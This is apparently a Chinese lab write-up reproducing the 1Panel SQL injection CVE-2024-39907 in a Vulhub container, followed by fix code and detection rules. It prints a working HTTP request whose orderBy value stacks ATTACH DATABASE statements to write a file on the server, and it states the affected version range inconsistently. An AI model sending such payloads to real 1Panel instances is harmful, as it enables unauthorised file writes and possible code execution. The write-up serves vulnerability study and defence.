手把手教你用Vulhub复现1panel CVE-2024-39907漏洞(附完整POC)

10 阅读10分钟

创作声明

AI创作声明

本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。

免责声明

本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。

版权声明

本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。

准备工作

Docker的常用命令

docker compose pull #将远程镜像拉取到本地

docker compose up -d #启动容器,并且不包含下载日志

docker ps            #查看开放端口

docker compose logs  #查看日志

docker compose down  #销毁容器

docker compose build #重启容器

docker compose exec web bash  #进入名为web的服务容器并打开 Bash 终端的命令

漏洞概述与原理分析

CVE-2024-39907 是一个影响 1Panel(Fit2cloud 提供的开源 Linux 服务器管理面板)SQL 注入漏洞,存在于多个未正确过滤用户输入的 SQL 查询中,攻击者可借此执行任意 SQL 代码,最终可能导致 任意文件写入和远程代码执行(RCE)

  • 漏洞类型:SQL Injection (CWE-89)
  • 影响版本:1Panel ≥ v1.10.9-lts 且 < v1.10.12-tls
  • 严重性:Critical(CVSS 9.8)
  • 攻击向量:网络访问、无需授权
  • 根本原因:动态构造 SQL 查询时把不可信输入直接拼接到 ORDER BY 或其他 SQL 子句,缺乏正确参数化或过滤。

SQL 注入允许攻击者将恶意 SQL 片段注入到应用构造的 SQL 语句中,从而使数据库执行未授权操作,这可能包括读取、修改数据,甚至写入文件或执行系统命令。

漏洞复现原理图示说明

下面的原理图示可以用于论文/答辩 PPT,无需暴露具体 exploit 细节。

1)正常请求被安全处理

Client HTTP Request
     ↓
1Panel Backend
(Validate + Compose SQL)
     ↓
DB executes authorized parameterized query
     ↓
Return safe result


2)在存在漏洞的情况下

✔ Client sends malicious payload
     e.g. order_by="id; WRITE_FILE('/tmp/x')"

Client HTTP Request
     ↓
1Panel directly concatenates input into SQL
     ↓
Malicious SQL injected
     ↓
DB executes unintended/injected command
     ↓
Potential file write / RCE


图 示展示了 CVE-2024-39907 漏洞的触发原理。攻击者通过将恶意输入注入到应用未处理的参数(如 ORDER BY 字段)中,使得后台在构造 SQL 查询时将不可信输入直接拼接到查询中,从而触发 SQL 注入漏洞,导致数据库执行未授权 SQL 语句。

漏洞复现

PS C:\Users\lucky\vulhub\1panel\CVE-2024-39907> docker ps
CONTAINER ID   IMAGE                   COMMAND                   CREATED         STATUS         PORTS                                             NAMES
663e0970bc87   vulhub/1panel:1.10.10   "/bin/bash -c '/usr/…"   2 minutes ago   Up 2 minutes   0.0.0.0:10086->10086/tcp, [::]:10086->10086/tcp   cve-2024-39907-1panel-1

访问http://127.0.0.1:10086/entrance,利用凭证{用户名1panel,密码1panel_password}进入靶场环境。

Snipaste_2025-10-19_14-59-34.png

用登录凭证进入1panel面板后,在/api/v1/hosts/command/search接口,由于orderBy参数未进行充分过滤,导致允许攻击者通过SQL注入引起文件上传漏洞,最终达成远程命令执行RCE。[1]

POST /api/v1/hosts/command/search HTTP/1.1
Host: 127.0.0.1:10086
Accept-Language: zh
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Cookie: psession=6d1d7f6a-a1c0-4475-8007-d2477fba1119
Connection: close
Content-Type: application/json
Content-Length: 243

{
  "page":1,
  "pageSize":10,
  "groupID":0,
  "orderBy":"3;ATTACH DATABASE '/tmp/randstr.txt' AS test;create TABLE test.exp (data text);create TABLE test.exp (data text);drop table test.exp;",
  "order":"ascending",
  "name":"a"
}

由于搜索框的orderBy参数由于没有进行过滤,它允许SQL注入的ATTACH DATABASE函数生效,使之在服务器上能够两次创建同样的文件,具体命令见create TABLE test.exp (data text)。因而,我们能够看到table exp already exists (1)等字段。[1]

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Sun, 19 Oct 2025 08:03:16 GMT
Content-Length: 102
Connection: close

{"code":500,"message":"服务内部错误: SQL logic error: table exp already exists (1)","data":null}

通过SQL logic error: table exp already exists (1)"信息,这是SQL注入中报错注入的典型特征,我们判断初步完成漏洞利用。由于挖掘漏洞往往采用点到为止的方式,所以后续不在进行利用。

但是可以肯定的是该漏洞允许用户上传文件,如果服务器端不对用户上传的恶意文件继续进行排查的话,很有可能被图谋不轨的人利用,从而达到控制后台、泄露个人信息甚至影响系统稳定性的后果。这是该漏洞的影响效果。

建议安全开发人员,除了对orderBy参数进行更严格的输入过滤、采用参数化查询、实施最小权限原则(只允许管理员执行必要的查询),并及时对后端部署WAF产品检测恶意文件,防止后门文件被恶意写入从而造成更严重的效果。

Snipaste_2025-10-19_16-10-36.png

溯源思路,除了查到攻击者写入的文件和探测泄露的信息之外,还要查看是否留有后门程序、是否创建其他不合理权限的用户等。

修复建议

最推荐的修复方法是 升级到已修复的 1Panel 版本

✔ 升级到 1.10.12-tls 或更高版本,该版本修复了相关 SQL 注入问题。

若不能立即升级,还可以从以下层面缓解: CVE-2024-39907是1Panel控制面板中存在的多个SQL注入漏洞集合,这些漏洞存在于1Panel的多个接口中,部分注入点由于过滤不充分,可能导致攻击者实现任意文件写入,最终达成远程命令执行(RCE)。该漏洞影响1Panel v1.10.9-lts及更早版本,目前已在v1.10.12-lts版本中得到修复。

风险评估与防御建议

  • 风险极高:攻击复杂度低,可无权限远程触发。
  • 影响严重:数据库泄露、任意文件写入、可能演变为远程代码执行。
  • 第一优先级:升级到修复版本是唯一根治措施。
  • 防御要点
    • 全面采用参数化查询
    • 白名单字段校验
    • 前端输入严格过滤
    • WAF/IDS 结合规则、行为检测
  1. 输入验证与参数化查询

在所有接受用户输入的地方,特别是排序、过滤参数、动态 SQL 构造点,必须采用参数化查询或 ORM API,不直接拼接字符串。

伪代码修复示例(以 Go / SQLx 为例):

// ❌ 易受 SQL 注入
orderBy := ctx.QueryParam("order_by")
query := fmt.Sprintf("SELECT id, name FROM users ORDER BY %s", orderBy)
db.Query(query)

// ✅ 安全做法:白名单 + 参数
allowed := map[string]bool{"id":true, "name":true}
if !allowed[orderBy] {
    orderBy = "id" // fallback
}
query := "SELECT id, name FROM users ORDER BY " + orderBy
db.Select(&users, query)


✔ 使用白名单验证排序字段而非直接拼接输入。
✔ 对动态字段的输入进行严格控制或映射到预定义字段名。

  1. 参数化预编译语句

在绝大多数 SQL 执行接口中,支持预编译语句或参数绑定,应全部使用。

示例(伪代码):

# ❌ 拼接不可信 user input
sql = f"SELECT * FROM tasks WHERE status = '{status}'"
cursor.execute(sql)

# ✅ 使用参数化
sql = "SELECT * FROM tasks WHERE status = %s"
cursor.execute(sql, (status,))


基于该漏洞的安全检测与防护规则

针对 SQL 注入风险,可以设计以下规则用于流量检测和阻断: 1)通用 WAF 规则(基于请求内容)

检测 URL、参数中是否包含典型的 SQL 注入符号或模式并与上下文字段匹配:

SecRule ARGS "(union|select|order by|--|;|insert|update|delete)" \
  "phase:2,deny,status:403,msg:'SQL Injection attempt detected (CVE-2024-39907 regexp)',severity:CRITICAL"


✔ 匹配常见 SQL 注入关键词
✔ 阻断明显恶意请求

2)NIDS/IDS 规则(Suricata 示例)

alert http any any -> any any (
    msg:"CVE-2024-39907 based SQL Injection suspicious";
    http.uri;
    content:"order by";
    pcre:"/order\s+by\s+[a-zA-Z0-9_]+(\s*;\s*)?/i";
    classtype:web-application-attack;
    sid:202439907;
    rev:1;
)


✔ 检测请求 URI 中包含不合常规的排序注入模式
✔ 依据正则减少误报

3)SIEM/日志规则(关联检测) 对于日志分析系统(ELK/Splunk):

index=web_access
| search "order by" AND ("union" OR "select") AND http_method=GET
| stats count by src_ip, uri


可记录攻击源及行为频次,用于告警与阻断。

当然可以结合日志和流量进行分析。

  1. 基于日志的检测脚本 此脚本用于分析 1Panel 的访问日志,检测包含攻击特征的请求。

#!/usr/bin/env python3
"""
1Panel CVE-2024-39907 攻击检测脚本
分析访问日志,查找包含恶意 orderBy 参数的请求
"""
import re
import sys
from datetime import datetime
# 攻击特征正则
ATTACK_PATTERNS = [
    re.compile(r'orderBy=.*ATTACH\s+DATABASE', re.IGNORECASE),
    re.compile(r'orderBy=.*CREATE\s+TABLE', re.IGNORECASE),
    re.compile(r'orderBy=.*;\s*[a-z]', re.IGNORECASE),  # 分号后跟语句
    re.compile(r'table\s+exp\s+already\s+exists', re.IGNORECASE),  # 错误回显
]
def analyze_log_line(line):
    """分析单行日志,返回是否可疑"""
    for pattern in ATTACK_PATTERNS:
        if pattern.search(line):
            return True
    return False
def scan_log_file(log_path):
    """扫描日志文件"""
    alerts = []
    try:
        with open(log_path, 'r', encoding='utf-8', errors='ignore') as f:
            for line_num, line in enumerate(f, 1):
                if analyze_log_line(line):
                    alerts.append({
                        'line': line_num,
                        'content': line.strip(),
                        'timestamp': datetime.now().isoformat()
                    })
    except FileNotFoundError:
        print(f"[-] 日志文件不存在: {log_path}")
        return []
    
    return alerts
if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("用法: python detect.py <日志文件路径>")
        sys.exit(1)
    
    log_file = sys.argv[1]
    results = scan_log_file(log_file)
    
    if results:
        print(f"[!] 发现 {len(results)} 条可疑请求:")
        for alert in results:
            print(f"行 {alert['line']}: {alert['content']}")
    else:
        print("[+] 未发现攻击特征")
  1. 实时流量检测(Python + Scapy) 适用于网络层抓包检测,但需要部署在网关或旁路。

from scapy.all import *
import re
# 定义检测函数
def detect_packet(packet):
    if packet.haslayer(TCP) and packet.haslayer(Raw):
        payload = packet[Raw].load.decode(errors='ignore')
        # 检测HTTP请求中的orderBy参数
        if re.search(r'orderBy=.*ATTACH\s+DATABASE', payload, re.I):
            print(f"[!] 检测到攻击尝试: {packet[IP].src} -> {packet[IP].dst}")
            # 可以记录或阻断
# 开始嗅探(需要root权限)
sniff(filter="tcp port 80 or tcp port 443", prn=detect_packet, store=0)

ModSecurity WAF 防护规则

  1. 基础规则(阻止包含 ATTACH DATABASE 的请求)

# 文件名: modsecurity_crs_61_1panel_cve_2024_39907.conf
# 放置在 /etc/modsecurity/ 或包含目录
SecRule ARGS:orderBy "@rx (?i)(ATTACH\s+DATABASE|CREATE\s+TABLE)" \
    "id:1000001,\
    phase:2,\
    block,\
    capture,\
    t:none,\
    msg:'1Panel CVE-2024-39907 SQL Injection Attempt',\
    logdata:'Matched Data: %{TX.0} within ARGS:orderBy',\
    tag:'attack-sqli',\
    tag:'cve-2024-39907',\
    severity:'CRITICAL',\
    setvar:'tx.anomaly_score=+%{tx.critical_anomaly_score}'"
# 检测堆叠查询(分号)
SecRule ARGS:orderBy "@rx (?i);\s*(SELECT|INSERT|UPDATE|DELETE|DROP|ATTACH|CREATE)" \
    "id:1000002,\
    phase:2,\
    block,\
    capture,\
    t:none,\
    msg:'1Panel Stacked Query Injection',\
    logdata:'Matched Data: %{TX.0} within ARGS:orderBy',\
    tag:'attack-sqli',\
    severity:'CRITICAL'"
  1. 增强规则:检测常见绕过手法

# 检测注释符绕过
SecRule ARGS:orderBy "@rx (?i)(/\*!?\*/|--|#|%00|;)" \
    "id:1000003,\
    phase:2,\
    block,\
    capture,\
    t:none,\
    msg:'1Panel SQL Injection - Comment Bypass',\
    logdata:'Matched Data: %{TX.0}',\
    tag:'attack-sqli',\
    severity:'HIGH'"
# 检测SQLite特定函数
SecRule ARGS:orderBy "@rx (?i)(ATTACH\s+DATABASE|sqlite_master|sqlite_temp)" \
    "id:1000004,\
    phase:2,\
    block,\
    t:none,\
    msg:'1Panel SQLite Injection',\
    tag:'attack-sqli',\
    severity:'CRITICAL'"

  1. 异常检测:限制参数长度和字符类型

# orderBy 参数长度限制(正常值通常较短)
SecRule ARGS:orderBy "@gt 50" \
    "id:1000005,\
    phase:2,\
    block,\
    t:none,\
    msg:'orderBy parameter too long, possible injection',\
    severity:'WARNING'"
# 只允许字母数字、下划线、点号和空格(根据业务调整)
SecRule ARGS:orderBy "!@rx ^[a-zA-Z0-9_.\s]+$" \
    "id:1000006,\
    phase:2,\
    block,\
    t:none,\
    msg:'orderBy parameter contains invalid characters',\
    severity:'HIGH'"

  1. ModSecurity 配置示例(包含以上规则)

将以上规则保存到一个文件,然后在 ModSecurity 配置中引入:


<IfModule mod_security2.c>
    Include /etc/modsecurity/modsecurity_crs_61_1panel_cve_2024_39907.conf
</IfModule>

参考文章

1.An SQL injection issue related to the orderBy clause. · Advisory · 1Panel-dev/1Panel github.com/1Panel-dev/…